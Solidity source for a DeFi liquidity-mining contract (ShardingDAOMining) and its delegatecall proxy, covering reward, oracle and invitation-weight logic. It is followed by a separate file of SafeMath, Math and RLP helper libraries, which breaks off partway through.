function pendingSHARD(uint256 _pid, address _user)
external
view
virtual
returns (uint256 _pending, uint256 _potential, uint256 _blockNumber)
{
_blockNumber = block.number;
(_pending, _potential) = calculatePendingSHARD(_pid, _user);
}
function pendingSHARDByPids(uint256[] memory _pids, address _user)
external
view
virtual
returns (uint256[] memory _pending, uint256[] memory _potential, uint256 _blockNumber)
{
uint256 poolCount = _pids.length;
_pending = new uint256[](poolCount);
_potential = new uint256[](poolCount);
_blockNumber = block.number;
for(uint i = 0; i < poolCount; i ++){
(_pending[i], _potential[i]) = calculatePendingSHARD(_pids[i], _user);
}
}
function calculatePendingSHARD(uint256 _pid, address _user) private view returns (uint256 _pending, uint256 _potential){
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
if (user.amount == 0) {
return (0, 0);
}
uint256 userModifiedWeight = getUserModifiedWeight(_pid, _user);
_pending = pool.accumulativeDividend.mul(userModifiedWeight);
_pending = _pending.div(pool.usersTotalWeight);
bool isContractSender = isUserContractSender[_pid][_user];
(,,_pending) = calculateDividend(_pending, _pid, user.amount, isContractSender);
if (pool.lastDividendHeight >= block.number) {
return (_pending, 0);
}
if (_pid != 0 && (rankPoolIndex.length == 0 || rankPoolIndexMap[_pid] == 0)) {
return (_pending, 0);
}
uint256 poolReward = getModifiedRewardToken(pool.lastDividendHeight.add(1), block.number);
uint256 numerator;
uint256 denominator = otherPoolDividendWeight.add(shardPoolDividendWeight);
if(_pid == 0){
numerator = shardPoolDividendWeight;
}
else{
numerator = otherPoolDividendWeight;
}
poolReward = poolReward
.mul(numerator)
.div(denominator);
if(_pid != 0){
poolReward = poolReward.div(rankPoolIndex.length);
}
_potential = poolReward
.mul(userModifiedWeight)
.div(pool.usersTotalWeight);
(,,_potential) = calculateDividend(_potential, _pid, user.amount, isContractSender);
}
//calculate the weight and end block when users deposit
function getDepositWeight(uint256 _lockAmount, uint256 _lockTime)
private
view
returns (uint256)
{
if (_lockTime == 0) return 0;
if (_lockTime.div(MAX_MONTH) > 1) _lockTime = MAX_MONTH;
return depositTimeWeight[_lockTime.sub(1)].sub(500).mul(_lockAmount);
}
function getPoolLength() public view virtual returns (uint256) {
return poolInfo.length;
}
function getPagePoolInfo(uint256 _fromIndex, uint256 _toIndex)
public
view
virtual
returns (
uint256[] memory _nftPoolId,
uint256[] memory _accumulativeDividend,
uint256[] memory _usersTotalWeight,
uint256[] memory _lpTokenAmount,
uint256[] memory _oracleWeight,
address[] memory _swapAddress
)
{
uint256 poolCount = _toIndex.sub(_fromIndex).add(1);
_nftPoolId = new uint256[](poolCount);
_accumulativeDividend = new uint256[](poolCount);
_usersTotalWeight = new uint256[](poolCount);
_lpTokenAmount = new uint256[](poolCount);
_oracleWeight = new uint256[](poolCount);
_swapAddress = new address[](poolCount);
uint256 startIndex = 0;
for (uint256 i = _fromIndex; i <= _toIndex; i++) {
PoolInfo storage pool = poolInfo[i];
_nftPoolId[startIndex] = pool.nftPoolId;
_accumulativeDividend[startIndex] = pool.accumulativeDividend;
_usersTotalWeight[startIndex] = pool.usersTotalWeight;
_lpTokenAmount[startIndex] = pool.lpTokenAmount;
_oracleWeight[startIndex] = pool.oracleWeight;
_swapAddress[startIndex] = pool.lpTokenSwap;
startIndex++;
}
}
function getInstantPagePoolInfo(uint256 _fromIndex, uint256 _toIndex)
public
virtual
returns (
uint256[] memory _nftPoolId,
uint256[] memory _accumulativeDividend,
uint256[] memory _usersTotalWeight,
uint256[] memory _lpTokenAmount,
uint256[] memory _oracleWeight,
address[] memory _swapAddress
)
{
uint256 poolCount = _toIndex.sub(_fromIndex).add(1);
_nftPoolId = new uint256[](poolCount);
_accumulativeDividend = new uint256[](poolCount);
_usersTotalWeight = new uint256[](poolCount);
_lpTokenAmount = new uint256[](poolCount);
_oracleWeight = new uint256[](poolCount);
_swapAddress = new address[](poolCount);
uint256 startIndex = 0;
for (uint256 i = _fromIndex; i <= _toIndex; i++) {
PoolInfo storage pool = poolInfo[i];
_nftPoolId[startIndex] = pool.nftPoolId;
_accumulativeDividend[startIndex] = pool.accumulativeDividend;
_usersTotalWeight[startIndex] = pool.usersTotalWeight;
_lpTokenAmount[startIndex] = pool.lpTokenAmount;
_oracleWeight[startIndex] = getOracleWeight(pool, _lpTokenAmount[startIndex]);
_swapAddress[startIndex] = pool.lpTokenSwap;
startIndex++;
}
}
function getRankList() public view virtual returns (uint256[] memory) {
uint256[] memory rankIdList = rankPoolIndex;
return rankIdList;
}
function getBlackList()
public
view
virtual
returns (EvilPoolInfo[] memory _blackList)
{
_blackList = blackList;
}
function getInvitation(address _sender)
public
view
virtual
override
returns (
address _invitor,
address[] memory _invitees,
bool _isWithdrawn
)
{
InvitationInfo storage invitation = usersRelationshipInfo[_sender];
_invitees = invitation.invitees;
_invitor = invitation.invitor;
_isWithdrawn = invitation.isWithdrawn;
}
function getUserInfo(uint256 _pid, address _user)
public
view
virtual
returns (
uint256 _amount,
uint256 _originWeight,
uint256 _modifiedWeight,
uint256 _endBlock
)
{
UserInfo storage user = userInfo[_pid][_user];
_amount = user.amount;
_originWeight = user.originWeight;
_modifiedWeight = getUserModifiedWeight(_pid, _user);
_endBlock = user.endBlock;
}
function getUserInfoByPids(uint256[] memory _pids, address _user)
public
view
virtual
returns (
uint256[] memory _amount,
uint256[] memory _originWeight,
uint256[] memory _modifiedWeight,
uint256[] memory _endBlock
)
{
uint256 poolCount = _pids.length;
_amount = new uint256[](poolCount);
_originWeight = new uint256[](poolCount);
_modifiedWeight = new uint256[](poolCount);
_endBlock = new uint256[](poolCount);
for(uint i = 0; i < poolCount; i ++){
(_amount[i], _originWeight[i], _modifiedWeight[i], _endBlock[i]) = getUserInfo(_pids[i], _user);
}
}
function getOracleInfo(uint256 _pid)
public
view
virtual
returns (
address _swapToEthAddress,
uint256 _priceCumulativeLast,
uint256 _blockTimestampLast,
uint256 _price,
uint256 _lastPriceUpdateHeight
)
{
PoolInfo storage pool = poolInfo[_pid];
_swapToEthAddress = address(pool.tokenToEthPairInfo.tokenToEthSwap);
_priceCumulativeLast = pool.tokenToEthPairInfo.priceCumulativeLast;
_blockTimestampLast = pool.tokenToEthPairInfo.blockTimestampLast;
_price = pool.tokenToEthPairInfo.price._x;
_lastPriceUpdateHeight = pool.tokenToEthPairInfo.lastPriceUpdateHeight;
}
// Safe SHD transfer function, just in case if rounding error causes pool to not have enough SHARDs.
function safeSHARDTransfer(address _to, uint256 _amount) internal {
uint256 SHARDBal = SHD.balanceOf(address(this));
if (_amount > SHARDBal) {
SHD.transfer(_to, SHARDBal);
} else {
SHD.transfer(_to, _amount);
}
}
function updateUserInfo(
UserInfo storage _user,
uint256 _amount,
uint256 _originWeight,
uint256 _endBlock
) private {
_user.amount = _amount;
_user.originWeight = _originWeight;
_user.endBlock = _endBlock;
}
function getOracleWeight(
PoolInfo storage _pool,
uint256 _amount
) private returns (uint256 _oracleWeight) {
_oracleWeight = calculateOracleWeight(_pool, _amount);
_pool.oracleWeight = _oracleWeight;
}
function calculateOracleWeight(PoolInfo storage _pool, uint256 _amount)
private
returns (uint256 _oracleWeight)
{
uint256 lpTokenTotalSupply =
IUniswapV2Pair(_pool.lpTokenSwap).totalSupply();
(uint112 shardReserve, uint112 wantTokenReserve, ) =
IUniswapV2Pair(_pool.lpTokenSwap).getReserves();
if (_amount == 0) {
_amount = _pool.lpTokenAmount;
if (_amount == 0) {
return 0;
}
}
if (!_pool.isFirstTokenShard) {
uint112 wantToken = wantTokenReserve;
wantTokenReserve = shardReserve;
shardReserve = wantToken;
}
FixedPoint.uq112x112 memory price =
updateTokenOracle(_pool.tokenToEthPairInfo);
if (
address(_pool.tokenToEthPairInfo.tokenToEthSwap) ==
_pool.lpTokenSwap
) {
_oracleWeight = uint256(price.mul(shardReserve).decode144())
.mul(2)
.mul(_amount)
.div(lpTokenTotalSupply);
} else {
_oracleWeight = uint256(price.mul(wantTokenReserve).decode144())
.mul(2)
.mul(_amount)
.div(lpTokenTotalSupply);
}
}
function resetInvitationRelationship(
uint256 _pid,
address _user,
uint256 _originWeight
) private {
InvitationInfo storage senderRelationshipInfo =
usersRelationshipInfo[_user];
if (!senderRelationshipInfo.isWithdrawn){
senderRelationshipInfo.isWithdrawn = true;
InvitationInfo storage invitorRelationshipInfo =
usersRelationshipInfo[senderRelationshipInfo.invitor];
uint256 targetIndex = invitorRelationshipInfo.inviteeIndexMap[_user];
uint256 inviteesCount = invitorRelationshipInfo.invitees.length;
address lastInvitee =
invitorRelationshipInfo.invitees[inviteesCount.sub(1)];
invitorRelationshipInfo.inviteeIndexMap[lastInvitee] = targetIndex;
invitorRelationshipInfo.invitees[targetIndex] = lastInvitee;
delete invitorRelationshipInfo.inviteeIndexMap[_user];
invitorRelationshipInfo.invitees.pop();
}
UserInfo storage invitorInfo =
userInfo[_pid][senderRelationshipInfo.invitor];
UserInfo storage user =
userInfo[_pid][_user];
if(!user.isCalculateInvitation){
return;
}
user.isCalculateInvitation = false;
uint256 inviteeToSubWeight = _originWeight.div(INVITEE_WEIGHT);
invitorInfo.inviteeWeight = invitorInfo.inviteeWeight.sub(inviteeToSubWeight);
if (invitorInfo.amount == 0){
return;
}
PoolInfo storage pool = poolInfo[_pid];
pool.usersTotalWeight = pool.usersTotalWeight.sub(inviteeToSubWeight);
}
function modifyWeightByInvitation(
uint256 _pid,
address _user,
uint256 _oldOriginWeight,
uint256 _newOriginWeight,
uint256 _inviteeWeight,
uint256 _existedAmount
) private{
PoolInfo storage pool = poolInfo[_pid];
InvitationInfo storage senderInfo = usersRelationshipInfo[_user];
uint256 poolTotalWeight = pool.usersTotalWeight;
poolTotalWeight = poolTotalWeight.sub(_oldOriginWeight).add(_newOriginWeight);
if(_existedAmount == 0){
poolTotalWeight = poolTotalWeight.add(_inviteeWeight);
}
UserInfo storage user = userInfo[_pid][_user];
if (!senderInfo.isWithdrawn || (_existedAmount > 0 && user.isCalculateInvitation)) {
UserInfo storage invitorInfo = userInfo[_pid][senderInfo.invitor];
user.isCalculateInvitation = true;
uint256 addInviteeWeight =
_newOriginWeight.div(INVITEE_WEIGHT).sub(
_oldOriginWeight.div(INVITEE_WEIGHT)
);
invitorInfo.inviteeWeight = invitorInfo.inviteeWeight.add(
addInviteeWeight
);
uint256 addInvitorWeight =
_newOriginWeight.div(INVITOR_WEIGHT).sub(
_oldOriginWeight.div(INVITOR_WEIGHT)
);
poolTotalWeight = poolTotalWeight.add(addInvitorWeight);
if (invitorInfo.amount > 0) {
poolTotalWeight = poolTotalWeight.add(addInviteeWeight);
}
}
pool.usersTotalWeight = poolTotalWeight;
}
function verifyDescription(string memory description)
internal
pure
returns (bool success)
{
bytes memory nameBytes = bytes(description);
uint256 nameLength = nameBytes.length;
require(nameLength > 0, "INVALID INPUT");
success = true;
bool n7;
for (uint256 i = 0; i <= nameLength - 1; i++) {
n7 = (nameBytes[i] & 0x80) == 0x80 ? true : false;
if (n7) {
success = false;
break;
}
}
}
function getUserModifiedWeight(uint256 _pid, address _user) private view returns (uint256){
UserInfo storage user = userInfo[_pid][_user];
uint256 originWeight = user.originWeight;
uint256 modifiedWeight = originWeight.add(user.inviteeWeight);
if(user.isCalculateInvitation){
modifiedWeight = modifiedWeight.add(originWeight.div(INVITOR_WEIGHT));
}
return modifiedWeight;
}
// get how much token will be mined from _toBlock to _toBlock.
function getRewardToken(uint256 _fromBlock, uint256 _toBlock) public view virtual returns (uint256){
return calculateRewardToken(MINT_DECREASE_TERM, SHDPerBlock, startBlock, _fromBlock, _toBlock);
}
function calculateRewardToken(uint _term, uint256 _initialBlock, uint256 _startBlock, uint256 _fromBlock, uint256 _toBlock) private pure returns (uint256){
if(_fromBlock > _toBlock || _startBlock > _toBlock)
return 0;
if(_startBlock > _fromBlock)
_fromBlock = _startBlock;
uint256 totalReward = 0;
uint256 blockPeriod = _fromBlock.sub(_startBlock).add(1);
uint256 yearPeriod = blockPeriod.div(_term); // produce 5760 blocks per day, 2102400 blocks per year.
for (uint256 i = 0; i < yearPeriod; i++){
_initialBlock = _initialBlock.div(2);
}
uint256 termStartIndex = yearPeriod.add(1).mul(_term).add(_startBlock);
uint256 beforeCalculateIndex = _fromBlock.sub(1);
while(_toBlock >= termStartIndex && _initialBlock > 0){
totalReward = totalReward.add(termStartIndex.sub(beforeCalculateIndex).mul(_initialBlock));
beforeCalculateIndex = termStartIndex.add(1);
_initialBlock = _initialBlock.div(2);
termStartIndex = termStartIndex.add(_term);
}
if(_toBlock > beforeCalculateIndex){
totalReward = totalReward.add(_toBlock.sub(beforeCalculateIndex).mul(_initialBlock));
}
return totalReward;
}
function getTargetTokenInSwap(IUniswapV2Pair _lpTokenSwap, address _targetToken) internal view returns (address, address, uint256){
address token0 = _lpTokenSwap.token0();
address token1 = _lpTokenSwap.token1();
if(token0 == _targetToken){
return(token0, token1, 0);
}
if(token1 == _targetToken){
return(token0, token1, 1);
}
require(false, "invalid uniswap");
}
function generateOrcaleInfo(IUniswapV2Pair _pairSwap, bool _isFirstTokenEth) internal view returns(TokenPairInfo memory){
uint256 priceTokenCumulativeLast = _isFirstTokenEth? _pairSwap.price1CumulativeLast(): _pairSwap.price0CumulativeLast();
uint112 reserve0;
uint112 reserve1;
uint32 tokenBlockTimestampLast;
(reserve0, reserve1, tokenBlockTimestampLast) = _pairSwap.getReserves();
require(reserve0 != 0 && reserve1 != 0, 'ExampleOracleSimple: NO_RESERVES'); // ensure that there's liquidity in the pair
TokenPairInfo memory tokenBInfo = TokenPairInfo({
tokenToEthSwap: _pairSwap,
isFirstTokenEth: _isFirstTokenEth,
priceCumulativeLast: priceTokenCumulativeLast,
blockTimestampLast: tokenBlockTimestampLast,
price: FixedPoint.uq112x112(0),
lastPriceUpdateHeight: block.number
});
return tokenBInfo;
}
function updateTokenOracle(TokenPairInfo storage _pairInfo) internal returns (FixedPoint.uq112x112 memory _price) {
FixedPoint.uq112x112 memory cachedPrice = _pairInfo.price;
if(cachedPrice._x > 0 && block.number.sub(_pairInfo.lastPriceUpdateHeight) <= updateTokenPriceTerm){
return cachedPrice;
}
(uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(_pairInfo.tokenToEthSwap));
uint32 timeElapsed = blockTimestamp - _pairInfo.blockTimestampLast; // overflow is desired
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
if(_pairInfo.isFirstTokenEth){
_price = FixedPoint.uq112x112(uint224(price1Cumulative.sub(_pairInfo.priceCumulativeLast).div(timeElapsed)));
_pairInfo.priceCumulativeLast = price1Cumulative;
}
else{
_price = FixedPoint.uq112x112(uint224(price0Cumulative.sub(_pairInfo.priceCumulativeLast).div(timeElapsed)));
_pairInfo.priceCumulativeLast = price0Cumulative;
}
_pairInfo.price = _price;
_pairInfo.lastPriceUpdateHeight = block.number;
_pairInfo.blockTimestampLast = blockTimestamp;
}
function updateAfterModifyStartBlock(uint256 _newStartBlock) internal override{
lastRewardBlock = _newStartBlock.sub(1);
if(poolInfo.length > 0){
PoolInfo storage shdPool = poolInfo[0];
shdPool.lastDividendHeight = lastRewardBlock;
}
}
}
// File: contracts/ShardingDAOMiningDelegator.sol
pragma solidity 0.6.12;
contract ShardingDAOMiningDelegator is DelegatorInterface, ShardingDAOMining {
constructor(
SHDToken _SHD,
address _wethToken,
address _developerDAOFund,
address _marketingFund,
uint256 _maxRankNumber,
uint256 _startBlock,
address implementation_,
bytes memory becomeImplementationData
) public {
delegateTo(
implementation_,
abi.encodeWithSignature(
"initialize(address,address,address,address,uint256,uint256)",
_SHD,
_wethToken,
_developerDAOFund,
_marketingFund,
_maxRankNumber,
_startBlock
)
);
admin = msg.sender;
_setImplementation(implementation_, false, becomeImplementationData);
}
function _setImplementation(
address implementation_,
bool allowResign,
bytes memory becomeImplementationData
) public override {
checkAdmin();
if (allowResign) {
delegateToImplementation(
abi.encodeWithSignature("_resignImplementation()")
);
}
address oldImplementation = implementation;
implementation = implementation_;
delegateToImplementation(
abi.encodeWithSignature(
"_becomeImplementation(bytes)",
becomeImplementationData
)
);
emit NewImplementation(oldImplementation, implementation);
}
function delegateTo(address callee, bytes memory data)
internal
returns (bytes memory)
{
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize())
}
}
return returnData;
}
/**
* @notice Delegates execution to the implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToImplementation(bytes memory data)
public
returns (bytes memory)
{
return delegateTo(implementation, data);
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop.
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToViewImplementation(bytes memory data)
public
view
returns (bytes memory)
{
(bool success, bytes memory returnData) =
address(this).staticcall(
abi.encodeWithSignature("delegateToImplementation(bytes)", data)
);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize())
}
}
return abi.decode(returnData, (bytes));
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
// */
fallback() external payable {
if (msg.value > 0) return;
// delegate all other functions to current implementation
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize())
switch success
case 0 {
revert(free_mem_ptr, returndatasize())
}
default {
return(free_mem_ptr, returndatasize())
}
}
}
function setNftShard(address _nftShard) public override {
delegateToImplementation(
abi.encodeWithSignature("setNftShard(address)", _nftShard)
);
}
function add(
uint256 _nftPoolId,
IUniswapV2Pair _lpTokenSwap,
IUniswapV2Pair _tokenToEthSwap
) public override {
delegateToImplementation(
abi.encodeWithSignature(
"add(uint256,address,address)",
_nftPoolId,
_lpTokenSwap,
_tokenToEthSwap
)
);
}
function setPriceUpdateTerm(uint256 _term)
public
override
{
delegateToImplementation(
abi.encodeWithSignature(
"setPriceUpdateTerm(uint256)",
_term
)
);
}
function kickEvilPoolByPid(uint256 _pid, string calldata description)
public
override
{
delegateToImplementation(
abi.encodeWithSignature(
"kickEvilPoolByPid(uint256,string)",
_pid,
description
)
);
}
function resetEvilPool(uint256 _pid)
public
override
{
delegateToImplementation(
abi.encodeWithSignature(
"resetEvilPool(uint256)",
_pid
)
);
}
function setMintCoefficient(
uint256 _nftMintWeight,
uint256 _reserveMintWeight
) public override {
delegateToImplementation(
abi.encodeWithSignature(
"setMintCoefficient(uint256,uint256)",
_nftMintWeight,
_reserveMintWeight
)
);
}
function setShardPoolDividendWeight(
uint256 _shardPoolWeight,
uint256 _otherPoolWeight
) public override {
delegateToImplementation(
abi.encodeWithSignature(
"setShardPoolDividendWeight(uint256,uint256)",
_shardPoolWeight,
_otherPoolWeight
)
);
}
function setStartBlock(
uint256 _startBlock
) public override {
delegateToImplementation(
abi.encodeWithSignature(
"setStartBlock(uint256)",
_startBlock
)
);
}
function setSHDPerBlock(uint256 _shardPerBlock, bool _withUpdate) public override {
delegateToImplementation(
abi.encodeWithSignature(
"setSHDPerBlock(uint256,bool)",
_shardPerBlock,
_withUpdate
)
);
}
function massUpdatePools() public override {
delegateToImplementation(abi.encodeWithSignature("massUpdatePools()"));
}
function updatePoolDividend(uint256 _pid) public override {
delegateToImplementation(
abi.encodeWithSignature("updatePoolDividend(uint256)", _pid)
);
}
function deposit(
uint256 _pid,
uint256 _amount,
uint256 _lockTime
) public override {
delegateToImplementation(
abi.encodeWithSignature(
"deposit(uint256,uint256,uint256)",
_pid,
_amount,
_lockTime
)
);
}
function withdraw(uint256 _pid) public override {
delegateToImplementation(
abi.encodeWithSignature("withdraw(uint256)", _pid)
);
}
function tryToReplacePoolInRank(uint256 _poolIndexInRank, uint256 _pid)
public
override
{
delegateToImplementation(
abi.encodeWithSignature(
"tryToReplacePoolInRank(uint256,uint256)",
_poolIndexInRank,
_pid
)
);
}
function acceptInvitation(address _invitor) public override {
delegateToImplementation(
abi.encodeWithSignature("acceptInvitation(address)", _invitor)
);
}
function setMaxRankNumber(uint256 _count) public override {
delegateToImplementation(
abi.encodeWithSignature("setMaxRankNumber(uint256)", _count)
);
}
function setDeveloperDAOFund(
address _developer
) public override {
delegateToImplementation(
abi.encodeWithSignature(
"setDeveloperDAOFund(address)",
_developer
)
);
}
function setDividendWeight(
uint256 _userDividendWeight,
uint256 _devDividendWeight
) public override {
delegateToImplementation(
abi.encodeWithSignature(
"setDividendWeight(uint256,uint256)",
_userDividendWeight,
_devDividendWeight
)
);
}
function setTokenAmountLimit(
uint256 _pid,
uint256 _tokenAmountLimit
) public override {
delegateToImplementation(
abi.encodeWithSignature(
"setTokenAmountLimit(uint256,uint256)",
_pid,
_tokenAmountLimit
)
);
}
function setTokenAmountLimitFeeRate(
uint256 _feeRateNumerator,
uint256 _feeRateDenominator
) public override {
delegateToImplementation(
abi.encodeWithSignature(
"setTokenAmountLimitFeeRate(uint256,uint256)",
_feeRateNumerator,
_feeRateDenominator
)
);
}
function setContracSenderFeeRate(
uint256 _feeRateNumerator,
uint256 _feeRateDenominator
) public override {
delegateToImplementation(
abi.encodeWithSignature(
"setContracSenderFeeRate(uint256,uint256)",
_feeRateNumerator,
_feeRateDenominator
)
);
}
function transferAdmin(
address _admin
) public override {
delegateToImplementation(
abi.encodeWithSignature(
"transferAdmin(address)",
_admin
)
);
}
function setMarketingFund(
address _marketingFund
) public override {
delegateToImplementation(
abi.encodeWithSignature(
"setMarketingFund(address)",
_marketingFund
)
);
}
function pendingSHARD(uint256 _pid, address _user)
external
view
override
returns (uint256, uint256, uint256)
{
bytes memory data =
delegateToViewImplementation(
abi.encodeWithSignature(
"pendingSHARD(uint256,address)",
_pid,
_user
)
);
return abi.decode(data, (uint256, uint256, uint256));
}
function pendingSHARDByPids(uint256[] memory _pids, address _user)
external
view
override
returns (uint256[] memory _pending, uint256[] memory _potential, uint256 _blockNumber)
{
bytes memory data =
delegateToViewImplementation(
abi.encodeWithSignature(
"pendingSHARDByPids(uint256[],address)",
_pids,
_user
)
);
return abi.decode(data, (uint256[], uint256[], uint256));
}
function getPoolLength() public view override returns (uint256) {
bytes memory data =
delegateToViewImplementation(
abi.encodeWithSignature("getPoolLength()")
);
return abi.decode(data, (uint256));
}
function getPagePoolInfo(uint256 _fromIndex, uint256 _toIndex)
public
view
override
returns (
uint256[] memory _nftPoolId,
uint256[] memory _accumulativeDividend,
uint256[] memory _usersTotalWeight,
uint256[] memory _lpTokenAmount,
uint256[] memory _oracleWeight,
address[] memory _swapAddress
)
{
bytes memory data =
delegateToViewImplementation(
abi.encodeWithSignature(
"getPagePoolInfo(uint256,uint256)",
_fromIndex,
_toIndex
)
);
return
abi.decode(
data,
(
uint256[],
uint256[],
uint256[],
uint256[],
uint256[],
address[]
)
);
}
function getInstantPagePoolInfo(uint256 _fromIndex, uint256 _toIndex)
public
override
returns (
uint256[] memory _nftPoolId,
uint256[] memory _accumulativeDividend,
uint256[] memory _usersTotalWeight,
uint256[] memory _lpTokenAmount,
uint256[] memory _oracleWeight,
address[] memory _swapAddress
)
{
bytes memory data =
delegateToImplementation(
abi.encodeWithSignature(
"getInstantPagePoolInfo(uint256,uint256)",
_fromIndex,
_toIndex
)
);
return
abi.decode(
data,
(
uint256[],
uint256[],
uint256[],
uint256[],
uint256[],
address[]
)
);
}
function getRankList() public view override returns (uint256[] memory) {
bytes memory data =
delegateToViewImplementation(
abi.encodeWithSignature("getRankList()")
);
return abi.decode(data, (uint256[]));
}
function getBlackList()
public
view
override
returns (EvilPoolInfo[] memory _blackList)
{
bytes memory data =
delegateToViewImplementation(
abi.encodeWithSignature("getBlackList()")
);
return abi.decode(data, (EvilPoolInfo[]));
}
function getInvitation(address _sender)
public
view
override
returns (
address _invitor,
address[] memory _invitees,
bool _isWithdrawn
)
{
bytes memory data =
delegateToViewImplementation(
abi.encodeWithSignature("getInvitation(address)", _sender)
);
return abi.decode(data, (address, address[], bool));
}
function getUserInfo(uint256 _pid, address _sender)
public
view
override
returns (
uint256 _amount,
uint256 _originWeight,
uint256 _modifiedWeight,
uint256 _endBlock
)
{
bytes memory data =
delegateToViewImplementation(
abi.encodeWithSignature(
"getUserInfo(uint256,address)",
_pid,
_sender
)
);
return abi.decode(data, (uint256, uint256, uint256, uint256));
}
function getUserInfoByPids(uint256[] memory _pids, address _sender)
public
view
override
returns (
uint256[] memory _amount,
uint256[] memory _originWeight,
uint256[] memory _modifiedWeight,
uint256[] memory _endBlock
)
{
bytes memory data =
delegateToViewImplementation(
abi.encodeWithSignature(
"getUserInfoByPids(uint256[],address)",
_pids,
_sender
)
);
return abi.decode(data, (uint256[], uint256[], uint256[], uint256[]));
}
function getOracleInfo(uint256 _pid)
public
view
override
returns (
address _swapToEthAddress,
uint256 _priceCumulativeLast,
uint256 _blockTimestampLast,
uint256 _price,
uint256 _lastPriceUpdateHeight
)
{
bytes memory data =
delegateToViewImplementation(
abi.encodeWithSignature("getOracleInfo(uint256)", _pid)
);
return abi.decode(data, (address, uint256, uint256, uint256, uint256));
}
function getRewardToken(uint256 _fromBlock, uint256 _toBlock)
public
view
override
returns (
uint256
)
{
bytes memory data =
delegateToViewImplementation(
abi.encodeWithSignature("getRewardToken(uint256,uint256)", _fromBlock, _toBlock)
);
return abi.decode(data, (uint256));
}
}
|
DC1
|
// File: contracts/lib/SafeMath.sol
pragma solidity ^0.5.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul64(uint64 a, uint64 b) internal pure returns (uint64) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint64 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div64(uint64 a, uint64 b) internal pure returns (uint64) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint64 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub64(uint64 a, uint64 b) internal pure returns (uint64) {
require(b <= a);
uint64 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add64(uint64 a, uint64 b) internal pure returns (uint64) {
uint64 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod64(uint64 a, uint64 b) internal pure returns (uint64) {
require(b != 0);
return a % b;
}
}
// File: contracts/lib/Math.sol
pragma solidity ^0.5.12;
/**
* @title Math
* @dev Assorted math operations
*/
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
// return ceil(n/d)
function divCeil(uint256 n, uint256 d) internal pure returns (uint256) {
return n % d == 0 ? n / d : n / d + 1;
}
}
// File: contracts/lib/RLP.sol
pragma solidity ^0.5.12;
/**
* @title RLPReader
* @dev RLPReader is used to read and parse RLP encoded data in memory.
* @author Andreas Olofsson (androlo1980@gmail.com)
*/
library RLP {
uint constant DATA_SHORT_START = 0x80;
uint constant DATA_LONG_START = 0xB8;
uint constant LIST_SHORT_START = 0xC0;
uint constant LIST_LONG_START = 0xF8;
uint constant DATA_LONG_OFFSET = 0xB7;
uint constant LIST_LONG_OFFSET = 0xF7;
struct RLPItem {
uint _unsafeMemPtr; // Pointer to the RLP-encoded bytes.
uint _unsafeLength; // Number of bytes. This is the full length of the string.
}
struct Iterator {
RLPItem _unsafeItem; // Item that's being iterated over.
uint _unsafeNextPtr; // Position of the next item in the list.
}
/* RLPItem */
/// @dev Creates an RLPItem from an array of RLP encoded bytes.
/// @param self The RLP encoded bytes.
/// @return An RLPItem
function toRLPItem(bytes memory self) internal pure returns (RLPItem memory) {
uint len = self.length;
uint memPtr;
assembly {
memPtr := add(self, 0x20)
}
return RLPItem(memPtr, len);
}
/// @dev Get the list of sub-items from an RLP encoded list.
